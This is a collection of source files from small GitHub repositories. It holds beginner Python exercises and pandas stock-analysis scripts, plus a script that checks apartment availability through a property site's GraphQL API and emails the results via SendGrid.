646e3396460114c6d26cf3171acbd7f61e6b76a6
refs/heads/master
2020-11-26T10:04:17.661685
2017-01-03T05:55:40
2017-01-03T05:55:40
67,783,415
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5503876209259033, "alphanum_fraction": 0.569767415523529, "avg_line_length": 18.769229888916016, "blob_id": "d66379a8b1f67849ccfca075dcbe83674b7634d4", "content_id": "1a09b675c1e28a56346ad023d13a4aeb4aebba10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "no_license", "max_line_length": 42, "num_lines": 13, "path": "/class.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "class People(object):\n def __init__(self,name,age,job):\n print(name,age,job)\n\n def walk(self):\n print(__init__.name\"I am walking\")\n\n def talk(self):\n print(\"I am talking\")\n\np1 = People(\"Sally\",30,\"Teacher\")\np1.walk()\np1.talk()\n\n" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5407577753067017, "avg_line_length": 27.064516067504883, "blob_id": "7a2cade8436f5ac4875c59690a7074a70d3f6583", "content_id": "7d92be738e5c599d39d4b425c15e00e9e266ade0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 871, "license_type": "no_license", "max_line_length": 65, "num_lines": 31, "path": "/homework1.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "account = 'Allan'\nsecret = 'allan'\naccveri = False\npassveri = False\n\nprint(\"Welcome to login the system!!!\")\nwhile not(accveri):\n user = input(\"Please input your user name: \")\n with open('d:/account.txt','r') as f:\n data = f.read()\n if len(data) == 0:\n # print('none')\n accveri = True\n else:\n if user in data:\n print('The account is blocked!!!Please retry!!!')\n else:\n accveri = True\n\nfor i in range(3):\n passwd = input('Please input your password: ')\n if (user == account and passwd == secret):\n passveri = True\n print('Your have logged in!!!Welcome!!!')\n break\n else:\n print('Your password is error,please retry!!!')\n\nif (not(passveri) and user != account):\n with open('d:/account.txt','a') as f:\n f.write(user+'\\n\\r')\n\n" }, { "alpha_fraction": 0.5033259391784668, "alphanum_fraction": 0.516629695892334, "avg_line_length": 18.60869598388672, "blob_id": "550b28165c38b3be2bfb1621fbf69a2ba7e719d6", "content_id": "15e8523af8e4f3d96f4a99b861ed2d6d28032dfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 451, "license_type": "no_license", "max_line_length": 39, "num_lines": 23, "path": "/day1.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "import numpy as np\n\na = int(np.random.rand()*10)\ncount = 0\n\nwhile count < 3:\n guess = input(\"Guess: \").strip()\n if len(guess) == 0:\n continue\n if guess.isdigit():\n guess = int(guess)\n else:\n continue\n if guess <a:\n print(\"Guess bigger! \")\n elif guess >a:\n print(\"Guess smaller! \")\n else:\n print(\"You got it! \")\n break\n count += 1\nelse:\n print(\"The real number is %s !\" %a)\n" }, { "alpha_fraction": 0.6293800473213196, "alphanum_fraction": 0.6994609236717224, "avg_line_length": 29.91666603088379, "blob_id": "b1b4cec213aba551143c3ab4e34eb2b65bb4ec8d", "content_id": "02de44475d82251fcba0930bb086661026a032d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 742, "license_type": "no_license", "max_line_length": 94, "num_lines": 24, "path": "/Test.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "from __future__ import division\nimport pandas as pd\n# import numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib\n# matplotlib.style.use('ggplot')\n\n\nimport seaborn as sns\n\nimport tushare as tsh\n\nstock_list = {'zsyh':'600036','jsyh':'601939','sdhj':'600547','pfyh':'600000','msyh':'600061'}\nfor stock,code in stock_list.items():\n globals()[stock] = tsh.get_hist_data(code, start = '2015-01-01', end = '2016-04-16')\n\nstock_list2 = stock_list.keys()\ns1 = [globals()[st]['close'] for st in stock_list2]\ndf_close = pd.concat(s1,axis=1,join='inner')\ndf_close.columns = stock_list2\ndf_close.sort_index(ascending = True, inplace = True)\nprint(df_close)\nsns.jointplot('zsyh','sdhj',df_close.pct_change(),kind = 'hex')\nsns.plt.show()\n" }, { "alpha_fraction": 0.5233812928199768, "alphanum_fraction": 0.528777003288269, "avg_line_length": 28.3157901763916, "blob_id": "8d1058b938e8f67b6aae61c1ce63ff507947ad9c", "content_id": "c0b45b4207f9125de5b67b66348226924f8f7eb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 556, "license_type": "no_license", "max_line_length": 66, "num_lines": 19, "path": "/homework2.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "menu = {'0':'Exit',\n 'hangzhou':['shangcheng','xiacheng','jianggang','fuyang'],\n 'ningbo':['jiangdong','jiangbei','zhenghai'],\n 'wenzhou':['lucheng','longwan','wencheng']\n}\nwhile True:\n for keys in menu:\n print(keys)\n choice = input('Input your choice: ')\n if choice in menu.keys():\n for keys in menu[choice]:\n print(keys)\n choice2 = input('Input your choice ')\n if choice2 in menu[choice]:\n print('Yes')\n else:\n print('no')\n else:\n print('Retry')" }, { "alpha_fraction": 0.6131805181503296, "alphanum_fraction": 0.6292979717254639, "avg_line_length": 33.86249923706055, "blob_id": "ba5047e1d541e67c3d255e4022d94d131ae1950c", "content_id": "56be751faad7a18c2780ba9b46701269bc68fd12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2792, "license_type": "no_license", "max_line_length": 96, "num_lines": 80, "path": "/Alltogether.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# access data\nimport pandas as pd\n\ndef get_stock_data(stock_code, index_code, start_date, end_date):\n \"\"\"\n :param stock_code: 'sz000002'\n :param index_code: 'sh000001'\n :param start_date: '1991-1-30'\n :param end_date: '2015-12-31'\n :return:\n \"\"\"\n\n #csv\n\n stock_data = pd.read_csv('d:/stock data/' + str(stock_code) +'.csv', parse_dates=['date'])\n benchmark = pd.read_csv('d:/index date/' + str(stock_code) + '.csv', parse_dates=['date'])\n date = pd.date_range(start_date end_date)\n\n\n #select stocks in date_range\n stock_data = stock_data.ix[stock_data['date'].isin(date),['date', 'change', 'adjust_price']]\n stock_data.sort_values(by = 'date', inplace=True)\n\n #select index in date_range\n date_list = list(stock_data['date'])\n benchmark = benchmark.ix[benchmark['date'].isin(date_list),['date','change', 'close']]\n benchmark.sort_values(by = 'date', inplace=True)\n benchmark.set_index('date', inplace=True)\n\n #loopback testing\n date_line = list(benchmark.index.strftime('%Y-%m-%d')) #list date\n capital_line = list(stock_data['adjust_price']) #account value\n return_line = list(stock_data['change'])#rate of return\n indexreturn_line = list(benchmark['change'])#rate of index change\n index_line = list(benchmark['close'])#list index\n\n return date_line, capital_line, return_line, index_line, indexreturn_line\n\n#annualized return\ndef annual_return(date_line, capital_line):\n \"\"\"\n :param date_line:\n :param capital_line:\n :return:\n \"\"\"\n #data ->DateFrame & sort\n df = pd.DataFrame({'date': date_line, 'capital': capital_line})\n df.sort_values(by='date', inplace=True)\n df.reset_index(drop=True, inplace=True)\n rng = pd.period_range(df['date'].iloc[0],df['date'].iloc[-1],freq='D')\n # annualize return\n annual = pow(df.ix[len(df.index)-1,'capital']/df.ix[0, 'capital'], 250/len(rng)) -1\n print('annualized return: %f' % annual)\n\ndef max_drawdown(date_line, capital_line):\n \"\"\"\n\n :param date_line:\n :param capital_line:\n :return:\n \"\"\"\n #data ->DateFrame & sort\n df = pd.DataFrame({'date': date_line, 'capital': capital_line})\n df.sort_values(by='date', inplace=True)\n df.reset_index(drop=True, inplace=True)\n\n df['max2here'] = pd.expanding_max(df['capital']) #max value before\n df['dd2here'] = pd['capital'] / df['max2here'] -1 #drawdown today\n\n #max drawdown $ end time\n temp = df.sort_values(by='dd2here').iloc[0][['date', 'dd2here']]\n max_dd = temp['dd2here']\n end_date = temp['date']\n\n #start time\n df = df[df['date'] <= end_date]\n start_date = df.sort_values(by = 'capital', ascending=False).iloc[0]['date']\n\n print('Max drawdown is %f, start from %s to %s' %(max_dd, start_date, end_date))\n\n\n\n" }, { "alpha_fraction": 0.6998879909515381, "alphanum_fraction": 0.7200447916984558, "avg_line_length": 48.61111068725586, "blob_id": "d8efc3a4524163458dda32dc11033ee94268c2cc", "content_id": "7eb7446cadc10b39e86445ee638f141fc39c3889", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 893, "license_type": "no_license", "max_line_length": 129, "num_lines": 18, "path": "/day2week.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "#_*_coding:utf-8_*_\nimport pandas as pd\n\n\nstock_data = pd.read_csv('D:\\\\sh600000.csv',parse_dates= [1])\nperiod_type = 'W'\nstock_data.set_index('date', inplace=True)\nperiod_stock_data = stock_data.resample(period_type).last()\nperiod_stock_data['open'] = stock_data.resample(period_type).first()\nperiod_stock_data['high'] = stock_data.resample(period_type).max()\nperiod_stock_data['low'] = stock_data.resample(period_type).min()\nperiod_stock_data['volume'] = stock_data.resample(period_type).sum()\nperiod_stock_data['money'] = stock_data.resample(period_type).sum()\nperiod_stock_data['change'] = stock_data.resample(period_type).apply(lambda x : (x+1.0).prod()-1.0)\nperiod_stock_data['turnover'] = period_stock_data['volume']/(period_stock_data['traded_market_value']/period_stock_data['close'])\nperiod_stock_data.reset_index(inplace= True)\n\nstock_data.to_csv(\"D:\\\\sh600000W.csv\", index= False)\n" }, { "alpha_fraction": 0.5381165742874146, "alphanum_fraction": 0.5560538172721863, "avg_line_length": 16.153846740722656, "blob_id": "34207de0ddec7c3a716172a9e233b41bc54aea10", "content_id": "4b78587ea920e3d99296e5408a1132f3f5dded2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "no_license", "max_line_length": 31, "num_lines": 13, "path": "/test2.py", "repo_name": "Highclose/Python", "src_encoding": "UTF-8", "text": "with open('test.txt','w') as f:\n f.write(\"1st line\\n\")\n f.write('2nd line\\n')\n f.write('3nd line\\n')\n\nwith open('test.txt') as f:\n print(f.read())\n\n\nf = open('test.txt','r+')\nf.seek(0)\nf.write('test')\nf.close()\n" } ]
8
jjcaudill/apartment_hunter
https://github.com/jjcaudill/apartment_hunter
f9db516e86647c4d130dd32f47adb0ec9e6a5722
c3f52604287a7ff647b734bee44f9f6f445ea8da
1a358d9aa02d9ec95bdd2e3f348415c8c6ffd5b2
refs/heads/master
2022-12-15T11:17:10.414005
2021-03-26T16:03:46
2021-03-26T16:03:46
243,370,983
2
0
null
2020-02-26T21:36:55
2021-03-26T16:03:49
2022-12-08T03:42:45
Python
[ { "alpha_fraction": 0.47058823704719543, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 16.14285659790039, "blob_id": "70fefcb1add13fb73ef99feb19bd5f16ed1a8633", "content_id": "60993bdf3012943d77a3df3165b26311aa7604c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 119, "license_type": "no_license", "max_line_length": 25, "num_lines": 7, "path": "/requirements.txt", "repo_name": "jjcaudill/apartment_hunter", "src_encoding": "UTF-8", "text": "certifi==2019.11.28\nchardet==3.0.4\nidna==2.9\npython-http-client==3.2.5\nrequests==2.23.0\nsendgrid==6.1.2\nurllib3==1.25.8" }, { "alpha_fraction": 0.8508771657943726, "alphanum_fraction": 0.8508771657943726, "avg_line_length": 37, "blob_id": "8b08059952f3db9d0e91ca22fa64d4875c70fb46", "content_id": "59aa5ad90eb938f13cff56928c6f4eb2159d3d70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 114, "license_type": "no_license", "max_line_length": 93, "num_lines": 3, "path": "/README.md", "repo_name": "jjcaudill/apartment_hunter", "src_encoding": "UTF-8", "text": "# apartment_hunter\n\nPython script to check apartment availability. Automatically scheduled using Heroku Scheduler\n" }, { "alpha_fraction": 0.6412245035171509, "alphanum_fraction": 0.6544626951217651, "avg_line_length": 34.547794342041016, "blob_id": "9d4c33f37d9255077752ed1c57462a3272c0b89d", "content_id": "d3c4f474b6627241f7d217e68cf3242d830f8379", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9669, "license_type": "no_license", "max_line_length": 330, "num_lines": 272, "path": "/scripts/python/amli_fetch.py", "repo_name": "jjcaudill/apartment_hunter", "src_encoding": "UTF-8", "text": "from requests import post as post_request\nfrom getopt import getopt\nfrom sys import maxsize, argv\nfrom os import environ\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\n\n# TODO: Property values are hardcoded, possibly we can accept them\nAPARTMENT_LIST_REQUEST = {\n 'operationName': 'propertyFloorplansSummary',\n 'query': 'query propertyFloorplansSummary($propertyId: ID!, $amliPropertyId: ID!, $moveInDate: String) {\\n propertyFloorplansSummary(propertyId: $propertyId, amliPropertyId: $amliPropertyId, moveInDate: $moveInDate) {\\nfloorplanName\\nbathroomMin\\nbedroomMin\\npriceMin\\npriceMax\\nsqftMin\\navailableUnitCount\\nfloorplanId}\\n}\\n',\n 'variables': {\n 'amliPropertyId': 89220,\n # We will insert moveInDate. ex: 'moveInDate': '2020-02-26'\n 'propertyId': 'XK-AoxAAACIA_JnR'\n }\n}\n\nFLOORPLAN_ID_REQUEST = {\n 'operationName': 'floorplan',\n 'query': 'query floorplan($id: ID, $amliId: ID) {floorplan(id: $id, amliId: $amliId) {cms}}',\n 'variables': {\n # We will insert ID. ex: 'amliId': '1752'\n }\n}\n\n# TODO: Be able to change the moveInDate and floorplanId\nFLOORPLAN_DETAILS_REQUEST = {\n 'operationName': 'units',\n 'query': 'query units($propertyId: ID!, $floorplanId: ID, $amliFloorplanId: ID, $moveInDate: String, $pets: String) {\\n units(propertyId: $propertyId, floorplanId: $floorplanId, amliFloorplanId: $amliFloorplanId, moveInDate: $moveInDate, pets: $pets) {\\nfloor\\npets\\nunitNumber\\nrpAvailableDate\\nrent\\nsqftMin\\n}\\n}\\n',\n 'variables': {\n # We will insert amliFloorplanId. ex: 'amliFloorplanId': '1752'\n # We will insert floorplanId. ex: 'floorplanId': 'XMwgnSwAADgA00ur'\n # We will insert moveInDate. ex: 'moveInDate': '2020-02-29'\n 'pets': 'Dogs',\n 'propertyId': 89220\n }\n}\n\nGRAPHQL_ENDPOINT = 'https://www.amli.com/graphql'\nRECIPIENT_EMAILS = ['jjc2011@gmail.com', 'maerth@gmail.com']\n\n# TODO: Way to interact with database to see history and how things have changed\n\n# TODO: Add option to insert email and specify the apartment structure\ndef usage():\n print(\n 'Script to find availibility of AMLI apartments:\\n'\n 'Parameters:\\n'\n '\\t--move_in_date or -m: Specify a move in date. Required!\\n'\n '\\t--floorplans or -f: Specify a comma delimited list of floorplans\\n'\n '\\t--price_max or -p: Specify maximum price you are willing to pay\\n'\n '\\t--sqft_min or -s: Specify minimum square footage required\\n'\n '\\t--bedrooms_min: Specify minimum number of bedrooms required\\n'\n '\\t--bathrooms_min: Specify minimum number of bathrooms required\\n'\n )\n return 1\n\ndef generate_html_font(text, size):\n return '<font size=\"{}\" face=\"verdana\">{}</font>'.format(size, text)\n\ndef generate_html(apartment_map):\n available_apartments = 0\n available_floorplans = 0\n html_content = ''\n for floorplan, apartments in apartment_map.items():\n if apartments:\n available_floorplans += 1\n floorplan_details = generate_html_font('Floorplan {}: {} sqft'.format(floorplan.name, floorplan.square_footage), 4)\n floorplan_img = '<img src=\"{}\" alt=\"Floorplan {}\">'.format(floorplan.img_url, floorplan.name)\n html_content += '<li>{}{}<ul>'.format(floorplan_details, floorplan_img)\n for apartment in apartments:\n available_apartments += 1\n apartment_info = 'Unit {}: Floor {}, Price ${}, Pets {}, Date Available {}'.format(apartment.unit, apartment.floor, apartment.rent, apartment.pets, apartment.date_available)\n html_content += '<li>{}</li>'.format(generate_html_font(apartment_info, 2))\n html_content += '</ul></li>'\n html_found = 'Found {} apartments for {} different floorplans!{}'.format(available_apartments, available_floorplans, html_content)\n results = '<body><ul>{}</body></ul>'.format(generate_html_font(html_found, 5))\n return results, available_apartments\n\n# TODO: insert into database and use that to diff.\ndef email_results(apartment_map):\n print('Sending email!')\n from_email = environ.get('SENDGRID_USERNAME')\n api_key = environ.get('SENDGRID_API_KEY')\n html_content, available_apartments = generate_html(apartment_map)\n\n for email in RECIPIENT_EMAILS:\n message = Mail(\n from_email=from_email,\n to_emails=email,\n subject='Found {} available apartments!'.format(available_apartments),\n html_content=html_content)\n try:\n sg = SendGridAPIClient(api_key)\n response = sg.send(message)\n except Exception as e:\n print(str(e))\n\ndef fetch_all_floorplans(move_in_date):\n body = APARTMENT_LIST_REQUEST\n body['variables']['moveInDate'] = move_in_date\n response = post_request(GRAPHQL_ENDPOINT, json=body, headers={'Content-Type':'application/json'})\n if response.status_code != 200:\n raise Exception('Failed to grab floorplans')\n\n # Return a list of floorplan data\n \"\"\"\n [\n {\n \"floorplanName\": \"A3\",\n \"bathroomMin\": 1,\n \"bedroomMin\": 1,\n \"priceMax\": 1896,\n \"sqftMin\": 742,\n \"availableUnitCount\": 1,\n \"floorplanId\": \"1752\"\n },\n ...\n ]\n \"\"\"\n return response.json()['data']['propertyFloorplansSummary']\n\ndef fetch_floorplan_details(id):\n body = FLOORPLAN_ID_REQUEST\n body['variables']['amliId'] = id\n response = post_request(GRAPHQL_ENDPOINT, json=body, headers={'Content-Type':'application/json'})\n if response.status_code != 200:\n raise Exception('Failed to grab floorplan details')\n\n \"\"\"\n Return details of floorplan\n {\n \"data\": {\n \"main_image\": {\n \"url\": \"https://images.prismic.io/amli-website/b3758197-4bf2-4e38-85ab-f11da2041306_austin_aldrich_A3+update.jpg?auto=compress,format&rect=0,0,650,490&w=650&h=490\",\n ...\n },\n ...\n },\n \"id\": \"XMwgnSwAADgA00ur\",\n ...\n }\n \"\"\"\n return response.json()['data']['floorplan']['cms']\n\ndef fetch_apartments(floorplan, move_in_date):\n body = FLOORPLAN_DETAILS_REQUEST\n body['variables']['amliFloorplanId'] = floorplan.number_id\n body['variables']['floorplanId'] = floorplan.weird_id\n body['variables']['moveInDate'] = move_in_date\n response = post_request(GRAPHQL_ENDPOINT, json=body, headers={'Content-Type':'application/json'})\n if response.status_code != 200:\n raise Exception('Failed to grab apartments')\n\n \"\"\"\n Return a list of apartment data\n [\n {\n \"floor\": 1,\n \"pets\": \"Cats\",\n \"unitNumber\": \"150\",\n \"rpAvailableDate\": \"2020-02-29\",\n \"rent\": 1896\n },\n ...\n ]\n \"\"\"\n return response.json()['data']['units']\n\nclass Floorplan:\n \"\"\"Holds data specific to floorplan\"\"\"\n def __init__(self, data):\n self.bathrooms = data['bathroomMin']\n self.bedrooms = data['bedroomMin']\n self.max_rent = data['priceMax']\n self.name = data['floorplanName']\n self.number_id = data['floorplanId']\n self.square_footage = data['sqftMin']\n\n def fetch_details(self):\n \"\"\"For some reason they have two ids and both are needed on fetching\"\"\"\n cms = fetch_floorplan_details(self.number_id)\n self.img_url = cms['data']['main_image']['url']\n self.weird_id = cms['id']\n\n\nclass Apartment:\n \"\"\"Holds data specific to apartment\"\"\"\n def __init__(self, data, floorplan):\n self.date_available = data['rpAvailableDate']\n self.floor = data['floor']\n self.floorplan = floorplan\n self.pets = data['pets']\n self.rent = data['rent']\n self.unit = data['unitNumber']\n\ndef main():\n opts, args = getopt(argv[1:], 'hs:p:f:m:', ['help', 'bathrooms_min=', 'bedrooms_min=', 'sqft_min=', 'price_max=', 'floorplans=', 'moveInDate='])\n specified_floorplans = []\n sqft_min = bedrooms_min = bathrooms_min = 0\n price_max = maxsize\n move_in_date = ''\n\n for opt, val in opts:\n if opt in ('-h', '--help'):\n return usage()\n elif opt == '--bathrooms_min':\n bathrooms_min = int(val)\n elif opt == '--bedrooms_min':\n bedrooms_min = int(val)\n elif opt in ('-s', '--sqft_min'):\n sqft_min = int(val)\n elif opt in ('-p', '--price_max'):\n price_max = int(val)\n elif opt in ('-f', '--floorplans'):\n specified_floorplans = val.split(',')\n elif opt in ('-m', '--move_in_date'):\n move_in_date = val\n\n if not move_in_date:\n return usage()\n\n floorplans = []\n apartment_map = {} # Floorplan to list of Apartments\n\n print('Grabbing floorplans!')\n floorplan_data = fetch_all_floorplans(move_in_date)\n \n print('Fetched floorplans!')\n\n # Convert data into Floorplans and add if matches filters\n for data in floorplan_data:\n if data['availableUnitCount'] == 0:\n continue\n floorplan = Floorplan(data)\n if floorplan.bathrooms < bathrooms_min:\n continue\n if floorplan.bedrooms < bedrooms_min:\n continue\n if floorplan.square_footage < sqft_min:\n continue\n if floorplan.max_rent > price_max:\n continue\n if specified_floorplans and floorplan.name not in specified_floorplans:\n continue\n floorplan.fetch_details()\n floorplans.append(floorplan)\n \n print('Parsed floorplans!')\n # Ok, now we have a list of all desired floorplans meeting our requirements. Time to get the apartments!\n\n for floorplan in floorplans:\n data_for_apartments = fetch_apartments(floorplan, move_in_date)\n apartments = []\n for data in data_for_apartments:\n apartment = Apartment(data, floorplan)\n if apartment.rent > price_max:\n continue\n apartments.append(apartment)\n if apartments:\n apartment_map[floorplan] = apartments\n\n print('Parsed apartments!')\n\n # Now that we have the apartment data, lets email it to ourselves.\n email_results(apartment_map)\n\n return 0\n\nif __name__ == '__main__':\n main()\n" } ]
3
Sprunth/TFO2ReelLogger
https://github.com/Sprunth/TFO2ReelLogger
72de5600e5585b9feb614b854568b2983b4c8aab
a89c3755001f446e3446625278b48c15a5d52800
72d349b665d68bff00fb056ad3201ab889276668
refs/heads/master
2020-04-02T06:19:46.690010
2018-10-29T04:44:43
2018-10-29T04:44:43
63,222,296
0
0
MIT
2016-07-13T06:56:41
2016-07-13T06:56:58
2018-10-29T04:44:43
Python
[ { "alpha_fraction": 0.5926142930984497, "alphanum_fraction": 0.6002344489097595, "avg_line_length": 23.028169631958008, "blob_id": "4878e277e3871e3c2d3e9d1ef77ad8626c9d85ff", "content_id": "c5a6bbbc894a998704f36c1f5cdeebbfde02e2ff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1706, "license_type": "permissive", "max_line_length": 112, "num_lines": 71, "path": "/db.py", "repo_name": "Sprunth/TFO2ReelLogger", "src_encoding": "UTF-8", "text": "import os.path\nimport sqlite3\nimport Scraper\nimport sys\n\n\ndef create_db():\n conn = sqlite3.connect('reellog.db')\n c = conn.cursor()\n\n c.execute('''CREATE TABLE reellog\n (lure text, body text, location text, species text, level integer, weight real, class text,\n unique(lure, body, location, species, level, weight, class))''')\n\n conn.commit()\n conn.close()\n\n\ndef sample_db_entry():\n scrape_data = \"'Culprit Worm', 'Amazon River', 'Baia de Santa Rosa', 'Matrincha', '6', '0.062', 'Wimpy III'\"\n command = \"INSERT INTO reellog VALUES (%s)\" % scrape_data\n\n conn = sqlite3.connect('reellog.db')\n c = conn.cursor()\n\n c.execute(command)\n\n conn.commit()\n conn.close()\n\n\ndef parse_and_store(html_file_path):\n conn = sqlite3.connect('reellog.db')\n c = conn.cursor()\n\n c.execute(\"SELECT COUNT(*) from reellog\")\n (old_entry_count, ) = c.fetchone()\n\n to_write = Scraper.scrape(html_file_path)\n\n for row in to_write:\n command = \"INSERT INTO reellog VALUES (%s)\" % row\n try:\n c.execute(command)\n print('+ %s' % row)\n except sqlite3.IntegrityError:\n print('= %s' % row)\n\n conn.commit()\n\n c.execute(\"SELECT COUNT(*) from reellog\")\n (new_entry_count,) = c.fetchone()\n\n conn.close()\n\n print(\"%i new entries added\" % (int(new_entry_count) - int(old_entry_count)))\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) != 2:\n print(\"Need one argument: path to html_file\", file=sys.stderr)\n sys.exit(1)\n\n if not os.path.isfile('reellog.db'):\n print('No reellog.db found, creating')\n create_db()\n parse_and_store(sys.argv[1])\n # sample_db_entry()\n\n print('Done')\n" }, { "alpha_fraction": 0.760064423084259, "alphanum_fraction": 0.7681159377098083, "avg_line_length": 55.45454406738281, "blob_id": "744662949d0972cb66782602d1f39b2af364ada1", "content_id": "591f495a6686415b288e2c94a93e6f68fa580392", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 621, "license_type": "permissive", "max_line_length": 129, "num_lines": 11, "path": "/README.md", "repo_name": "Sprunth/TFO2ReelLogger", "src_encoding": "UTF-8", "text": "# TFO2 Reel Logger\n\nA python script that stores the Reel Log from [Trophy Fishing Online 2](http://trophyfishingonline.com/) into an SQLite database.\n\n# To Run\nSave your Reel Log as an HTML file (no need for images, etc--Not \"Complete\" in Chrome)\nRun `db.py` from a python console with BeautifulSoup4 installed (pip install beautifulsoup4 or use the pipenv pipfile)\nA single argument is needed for execution--the path the the HTML file (relative to the `db.py` script).\nA reellog.db file will be produced in the same directory.\n\nUse any SQLite3 viewer to view, such as [DB Browser for SQLite](http://sqlitebrowser.org/)\n" }, { "alpha_fraction": 0.5294460654258728, "alphanum_fraction": 0.5381923913955688, "avg_line_length": 28.06779670715332, "blob_id": "4e3ffd9739c20253552e39b7286e25058942d51d", "content_id": "cc983c02a561b5517709caaaf3871fdc23175232", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1715, "license_type": "permissive", "max_line_length": 117, "num_lines": 59, "path": "/Scraper.py", "repo_name": "Sprunth/TFO2ReelLogger", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nfrom pprint import pprint\nfrom functools import reduce\nimport sys\n\n\ndef scrape(html_file_path):\n\n soup = BeautifulSoup(open(html_file_path), 'html.parser')\n\n rows = soup.find_all('tr')\n\n commands = list()\n\n for row in rows[1:]:\n cols = row.find_all('td')\n\n lure_string = list(cols[0].descendants)[0]\n lure = lure_string.text\n\n body_of_water = cols[1].string\n\n location = cols[2].string\n\n fish_string = cols[3]\n fish_type = fish_string.font.string\n fish_level = fish_string.find('font').text\n\n size_strings = list(map(lambda x: x.string, cols[4].find_all('font')))\n weight_idx = -1\n for idx in range(len(size_strings)):\n if 'lb' in size_strings[idx]:\n weight_idx = idx\n break\n weight = size_strings[weight_idx].split()[0]\n fish_class = reduce(lambda x, y: \"%s %s\" % (x, y), size_strings[weight_idx+1:])\n if 'L e g e n d a r y' in fish_class:\n fish_class = 'Legendary'\n elif 'B R U I S E R' in fish_class:\n fish_class = 'Bruiser'\n\n # size not stored for now\n # size = reduce(lambda x, y: \"%s %s\" % (x, y), size_strings[:-3])\n\n command = \"'%s', '%s', '%s', '%s', '%s', '%s', '%s'\" % (lure, body_of_water, location, fish_type, fish_level,\n weight, fish_class)\n commands.append(command)\n\n return commands\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) != 2:\n print(\"Need one argument: path to html_file\", file=sys.stderr)\n sys.exit(1)\n\n scrape_data = scrape(sys.argv[1])\n pprint(scrape_data)\n" } ]
3
FabianeTelles/REP_PYTHON
https://github.com/FabianeTelles/REP_PYTHON
53149567c7d752b0b8eac36348d33ee09205fd77
2e8bc83ea0a1cf5c7f3b496c67387b6e55636c02
2973b4d910303e011591c82613c18793ad00e72d
refs/heads/master
2022-09-15T07:55:13.454198
2020-06-04T01:12:04
2020-06-04T01:12:04
269,218,441
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6078431606292725, "alphanum_fraction": 0.6078431606292725, "avg_line_length": 23.5, "blob_id": "00cf4abd967656b95cc4d1ee4b829a64eeb3eab7", "content_id": "cdde97dca07ddd901c3a8ac72ec7a9c66063d9a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 51, "license_type": "no_license", "max_line_length": 26, "num_lines": 2, "path": "/teste9.py", "repo_name": "FabianeTelles/REP_PYTHON", "src_encoding": "UTF-8", "text": "n = input('Digite algo: ')\r\nprint(n .isnumeric())\r\n" }, { "alpha_fraction": 0.4188034236431122, "alphanum_fraction": 0.4188034236431122, "avg_line_length": 34.5, "blob_id": "9a46d9464647b23ef0258b1be2555a8c5eac4176", "content_id": "9e1347e34e457645aff735b5265c200b4deaa27d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 117, "license_type": "no_license", "max_line_length": 37, "num_lines": 2, "path": "/ex005.py", "repo_name": "FabianeTelles/REP_PYTHON", "src_encoding": "UTF-8", "text": "Nome = input('Digite seu nome:')\r\nprint('Seja bem vindo,',format(Nome))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5686274766921997, "alphanum_fraction": 0.6078431606292725, "avg_line_length": 23.5, "blob_id": "b02a56cca1882cb8405e253500a352bd72b8c4bf", "content_id": "85ed9fda30dcce00257a871a87ea3f3ffdecdbf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 51, "license_type": "no_license", "max_line_length": 31, "num_lines": 2, "path": "/teste1.py", "repo_name": "FabianeTelles/REP_PYTHON", "src_encoding": "UTF-8", "text": "n1 = input('Digite um valor: ')\r\nprint(type (n1))\r\n" }, { "alpha_fraction": 0.46451613306999207, "alphanum_fraction": 0.4903225898742676, "avg_line_length": 37.66666793823242, "blob_id": "dbae5929f44f8a215ccf7b28a7a310afd7f5169e", "content_id": "da23c178b8c745bfdd575d4b5738c2922d19103f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 155, "license_type": "no_license", "max_line_length": 45, "num_lines": 3, "path": "/Desafio 3.py", "repo_name": "FabianeTelles/REP_PYTHON", "src_encoding": "UTF-8", "text": "Numero1 = int (input ('Primeiro numero = ' ))\r\nNumero2 = int (input ('Segundo numero = '))\r\nprint (Numero1 + Numero2)\r\n\r\n \r\n \r\n" }, 